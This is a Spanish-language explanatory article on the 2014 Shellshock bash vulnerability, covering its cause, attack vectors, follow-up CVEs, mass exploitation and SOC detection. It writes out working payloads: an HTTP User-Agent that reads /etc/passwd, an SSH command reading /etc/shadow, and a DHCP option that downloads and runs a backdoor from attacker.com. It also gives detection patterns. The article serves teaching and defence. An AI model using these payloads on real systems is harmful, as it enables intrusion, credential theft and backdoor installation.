CVE-2014-6271 Shellshock: Bash como Vector de Ataque (2014)

25 años oculto en cada terminal Unix del planeta

El 24 de septiembre de 2014, apenas cinco meses después de Heartbleed, la comunidad de seguridad recibió otro golpe. GNU Bash, el intérprete de comandos por defecto en prácticamente todos los sistemas Linux y macOS, contenía una vulnerabilidad que permitía ejecución remota de código a través de variables de entorno. El bug había existido desde 1989, desde la versión 1.03 de Bash. Veinticinco años.

La vulnerabilidad recibió el identificador CVE-2014-6271 y el nombre Shellshock. Si Heartbleed demostró la fragilidad de la infraestructura criptográfica de Internet, Shellshock demostró algo peor: que el intérprete de comandos más ubicuo del ecosistema Unix, la herramienta más básica de la administración de sistemas, contenía un defecto fundamental que nadie había detectado en un cuarto de siglo.

2014 fue, sin duda, uno de los peores años en la historia de la seguridad informática. Heartbleed en abril, Shellshock en septiembre, y POODLE (ataque al protocolo SSL 3.0) en octubre. Tres vulnerabilidades masivas en componentes fundamentales de Internet, concentradas en menos de siete meses.

Bash y las variables de entorno: funcionalidad con riesgo latente

GNU Bash (Bourne Again Shell) es mucho más que un intérprete de comandos interactivo. Es un lenguaje de scripting completo que se invoca de forma invisible por miles de programas del sistema. Cada vez que un servidor web ejecuta un script CGI, cada vez que un cliente DHCP procesa una respuesta, cada vez que SSH ejecuta un comando forzado, Bash se inicializa, procesa su entorno, y ejecuta.

Una de las funcionalidades de Bash es la capacidad de exportar funciones a través de variables de entorno. Esto permite que un proceso padre defina una función y que los subprocesos Bash la hereden automáticamente:

# Definir y exportar una función
mi_funcion() { echo "Hola desde la función"; }
export -f mi_funcion

# En un subproceso Bash, la función está disponible
bash -c 'mi_funcion'
# Salida: "Hola desde la función"

Internamente, Bash implementa esto serializando la definición de la función como texto en una variable de entorno. La convención es que las variables cuyo valor comienza con () { son tratadas como definiciones de función. Cuando Bash se inicializa, escanea todas las variables de entorno buscando este patrón y las evalúa para definir las funciones.

El problema es cómo Bash implementó esta evaluación.

El bug: parsing que no se detiene

Cuando Bash encuentra una variable de entorno cuyo valor comienza con () {, pasa todo el valor al parser para definir la función. El parser debería detenerse después de completar la definición de la función. No lo hacía. Continuaba evaluando cualquier código adicional que apareciera después del cierre de la función.

# Variable de entorno maliciosa
export X='() { ignorado; }; echo "SHELLSHOCK"'

# Cuando Bash se inicializa (por ejemplo, al ejecutar bash -c "")
# 1. Detecta que X comienza con "() {"
# 2. Pasa el valor al parser
# 3. Parser define la función X (contenido: "ignorado;")
# 4. Parser NO se detiene
# 5. Parser evalúa "echo SHELLSHOCK"
# 6. El comando se ejecuta durante la inicialización de Bash

La prueba de concepto más conocida:

env X='() { :;}; echo vulnerable' bash -c ""

Si el sistema es vulnerable, imprime "vulnerable". La función () { :;} es una función vacía (: es el comando noop de Bash), y echo vulnerable es el payload que se ejecuta durante la inicialización.

Por qué el código es así

El código responsable en Bash está en la función initialize_shell_variables() del archivo variables.c. Durante la inicialización, Bash itera sobre todas las variables de entorno:

// Pseudocódigo simplificado de variables.c
for (string_index = 0; env[string_index]; string_index++) {
    char *name = extract_name(env[string_index]);
    char *value = extract_value(env[string_index]);

    if (privmode == 0 && /* ... */ &&
        STREQN("() {", value, 4)) {
        // Parece una función exportada
        // Construir: "name () { ... }"
        char *temp = xmalloc(strlen(name) + strlen(value) + 2);
        sprintf(temp, "%s %s", name, value);

        // EVALUAR TODO EL STRING COMO CÓDIGO BASH
        parse_and_execute(temp, name,
                         SEVAL_NONINT|SEVAL_NOHIST);
        // ↑ Aquí está el problema: parse_and_execute
        // procesa TODO lo que viene después de la función
    }
}

La función parse_and_execute parsea y ejecuta el string completo. Después de definir la función, no se detiene: continúa parseando y ejecutando cualquier comando adicional. El fix debería haber sido verificar que, después de parsear la definición de la función, no queda código adicional por ejecutar.

Vectores de ataque: cómo llegan las variables de entorno

La gravedad de Shellshock depende de cómo un atacante puede inyectar variables de entorno que lleguen a una instancia de Bash. Los vectores son numerosos:

CGI (Common Gateway Interface)

El vector más explotado. Los servidores web que ejecutan scripts CGI pasan los headers HTTP como variables de entorno al script. El header User-Agent, Referer, Cookie, e incluso headers personalizados se convierten en variables de entorno con el prefijo HTTP_.

# Petición HTTP maliciosa
GET /cgi-bin/test.cgi HTTP/1.1
Host: vulnerable.example.com
User-Agent: () { :;}; /bin/cat /etc/passwd

El servidor web (Apache con mod_cgi, por ejemplo) convierte el header User-Agent en la variable de entorno HTTP_USER_AGENT. Si el script CGI es un script Bash (o invoca Bash internamente), la inicialización de Bash evalúa la variable y ejecuta /bin/cat /etc/passwd.

La explotación CGI fue automatizada en horas. Bots comenzaron a escanear Internet buscando scripts CGI el mismo día de la divulgación. Las peticiones de explotación típicas intentaban ejecutar comandos como wget o curl para descargar payloads adicionales, o id y uname -a para fingerprinting.

DHCP

Los clientes DHCP en sistemas Linux (como dhclient) ejecutan scripts de hook cuando reciben una respuesta DHCP. Las opciones de la respuesta se pasan como variables de entorno al script. Un servidor DHCP malicioso (o un atacante con capacidad de DHCP spoofing) puede incluir una opción DHCP con el payload de Shellshock.

# Opción DHCP maliciosa (por ejemplo, option 114, URL)
option domain-name "() { :;}; wget http://attacker.com/backdoor -O /tmp/x; chmod +x /tmp/x; /tmp/x"

Este vector es particularmente peligroso en redes WiFi públicas donde un atacante puede montar un rogue DHCP server.

SSH ForceCommand

OpenSSH permite restringir a un usuario a un comando específico mediante la directiva ForceCommand en authorized_keys o sshd_config. Cuando un usuario con ForceCommand se conecta, SSH ejecuta el comando forzado en lugar del que el usuario solicita. El comando del usuario se almacena en la variable de entorno SSH_ORIGINAL_COMMAND.

Si Bash es el shell del usuario y el usuario envía un comando con el payload de Shellshock, el valor de SSH_ORIGINAL_COMMAND contendrá el payload, que se ejecutará durante la inicialización de Bash antes de que ForceCommand tenga efecto.

# Desde el cliente SSH
ssh restricted_user@server '() { :;}; cat /etc/shadow'
# SSH_ORIGINAL_COMMAND contendrá el payload
# Bash lo ejecutará durante la inicialización, ignorando ForceCommand

Este vector permite escapar de entornos SSH restringidos, incluyendo configuraciones de Git y Subversion que usan SSH con ForceCommand.

OpenSMTPD y otros servicios de correo

Servidores de correo que pasan datos del mensaje (como la dirección del remitente) a scripts que invocan Bash pueden ser vectores de Shellshock. La dirección MAIL FROM en el protocolo SMTP puede contener el payload.

Los parches incompletos: seis CVEs en una semana

El parche inicial para CVE-2014-6271 intentó resolver el problema añadiendo un check para detener la evaluación después de la definición de la función. Pero el fix fue insuficiente.

CVE-2014-7169 (descubierto por Tavis Ormandy de Google): demostró que el parche para CVE-2014-6271 podía eludirse con una variación del payload:

env X='() { (a)=>\' bash -c "echo date"
# Crea un archivo con el output de 'date' debido a una redirección malformada

CVE-2014-7186: buffer overflow en el parser por un here-document excesivamente anidado.

CVE-2014-7187: error off-by-one en el manejo de words en el parser.

CVE-2014-6277 y CVE-2014-6278: vulnerabilidades adicionales descubiertas por Michal Zalewski (lcamtuf) de Google, relacionadas con el parsing de funciones y redirecciones en variables de entorno.

En total, se necesitaron múltiples rondas de parches para cerrar todos los vectores de explotación. El problema fundamental no era un bug aislado sino una funcionalidad completa (funciones en variables de entorno) que era inherentemente insegura en su implementación.

La propagación: escaneos masivos en horas

La explotación masiva de Shellshock comenzó con una velocidad que sorprendió incluso a los investigadores más experimentados. Dentro de las primeras horas después de la divulgación:

Bots automatizados comenzaron a escanear rangos de IP completos buscando scripts CGI con peticiones que contenían el payload de Shellshock. Los honeypots registraron miles de intentos de explotación en las primeras 24 horas.

Payloads observados: los más comunes intentaban instalar botnets (variantes de Perl IRC bots), backdoors SSH, y herramientas de DDoS. Algunos inyectaban cryptominers. Otros simplemente ejecutaban id y enviaban el resultado a un servidor controlado por el atacante para crear inventarios de máquinas vulnerables.

Worms específicos: aparecieron worms como "Bashdown" que combinaban escaneo, explotación de Shellshock, y propagación automática. Estos worms utilizaban la máquina comprometida para escanear y comprometer otras máquinas vulnerables.

El impacto fue amplificado por la ubicuidad de Bash y la diversidad de vectores. No bastaba con parchear los servidores web: había que parchear Bash en cada sistema, incluyendo dispositivos de red, NAS, routers, y cualquier dispositivo embebido que ejecutara Linux.

IoT y sistemas embebidos: el problema sin solución

Los dispositivos IoT representaron el mayor desafío de remediación para Shellshock. Millones de routers, cámaras IP, NAS domésticos, y otros dispositivos ejecutaban distribuciones Linux con versiones vulnerables de Bash. Muchos de estos dispositivos:

Tenían interfaces de administración web implementadas como CGI scripts que invocaban Bash, creando un vector de ataque directo.

No recibían actualizaciones de firmware del fabricante, o las actualizaciones requerían intervención manual que la mayoría de usuarios no realizaban.

Estaban directamente expuestos a Internet (cámaras IP, NAS con acceso remoto), sin firewall ni NAT que limitara el acceso.

Para estos dispositivos, Shellshock fue una sentencia permanente. Muchos siguen siendo vulnerables en 2026, más de una década después, y forman parte de botnets que se utilizan para DDoS, cryptomining, y como proxies para enmascarar tráfico malicioso.

Shellshock versus Heartbleed: dos caras de 2014

Shellshock y Heartbleed, ambos revelados en 2014, comparten características pero difieren en aspectos fundamentales:

Antigüedad: Heartbleed existió 2 años (2012-2014). Shellshock existió 25 años (1989-2014). La ventana de exposición de Shellshock es una de las más largas documentadas para una vulnerabilidad crítica.

Vector: Heartbleed es un bug de lectura de memoria (información disclosure). Shellshock permite ejecución arbitraria de código. En la jerarquía de impacto, ejecución de código es estrictamente peor que filtración de memoria.

Explotación: Heartbleed requiere conectarse a un servicio TLS. Shellshock tiene múltiples vectores (CGI, DHCP, SSH, SMTP, scripts del sistema), lo que amplía enormemente la superficie de ataque.

Complejidad del exploit: Heartbleed requiere construir un mensaje TLS malformado. Shellshock requiere inyectar un string de texto en una variable de entorno. La barrera de entrada para Shellshock es significativamente menor.

Detección: Heartbleed no dejaba rastros en los logs. Shellshock dejaba rastros claros (el payload aparece en los logs del servidor web como parte del User-Agent u otros headers), lo que facilitó la detección y respuesta.

Respuesta mediática: Heartbleed tuvo logo, sitio web, y cobertura mediática masiva. Shellshock recibió atención significativa pero no alcanzó el mismo nivel de impacto mediático, a pesar de ser técnicamente más grave.

Lecciones de Shellshock

Shellshock dejó lecciones que complementan las de Heartbleed:

Las funcionalidades antiguas acumulan riesgo. La exportación de funciones en variables de entorno era una funcionalidad de conveniencia de 1989 que nadie cuestionó durante 25 años. Las funcionalidades que "siempre han estado ahí" son las más peligrosas porque nadie las revisa.

La superficie de ataque es más amplia de lo que parece. Bash no es un servicio de red, pero se convierte en uno cuando otros servicios lo invocan. La cadena CGI a Bash transformó un intérprete de comandos local en un vector de ejecución remota de código.

Los parches parciales son peligrosos. El primer parche de Shellshock creó una falsa sensación de seguridad mientras dejaba vectores de explotación abiertos. La prisa por parchear puede producir correcciones incompletas que requieren múltiples iteraciones.

El ecosistema Unix tiene deuda técnica profunda. Bash, como OpenSSL, es un componente crítico mantenido con recursos limitados. El bug de Shellshock no era sofisticado: era un error de parsing que un análisis estático básico habría detectado. Pero nadie lo hizo durante 25 años.

Indicadores y detección

Para equipos SOC, la detección de intentos de explotación de Shellshock es relativamente directa:

Logs de servidor web: buscar patrones () { en headers HTTP, especialmente User-Agent, Referer, Cookie, y headers personalizados. Los WAF modernos incluyen reglas específicas para Shellshock.

Tráfico de red: inspeccionar peticiones HTTP a rutas /cgi-bin/ con headers que contengan () {. Reglas Snort/Suricata: SID:31975 y variantes.

DHCP: monitorizar opciones DHCP inusuales que contengan patrones de funciones Bash. Este vector es menos visible pero igualmente peligroso en redes no controladas.

Expresión regular de detección:

\(\)\s*\{[^}]*\}\s*;

Esta regex detecta el patrón básico de Shellshock: una definición de función vacía o con contenido, seguida de un punto y coma que precede al payload malicioso.

Shellshock, junto con Heartbleed, definió 2014 como el año en que la industria de la seguridad descubrió que los cimientos de Internet (las librerías, shells, y protocolos que todos daban por seguros) estaban plagados de vulnerabilidades fundamentales esperando a ser encontradas. La pregunta ya no era si existían más bugs de este calibre, sino cuántos, y cuánto tiempo llevarían ocultos.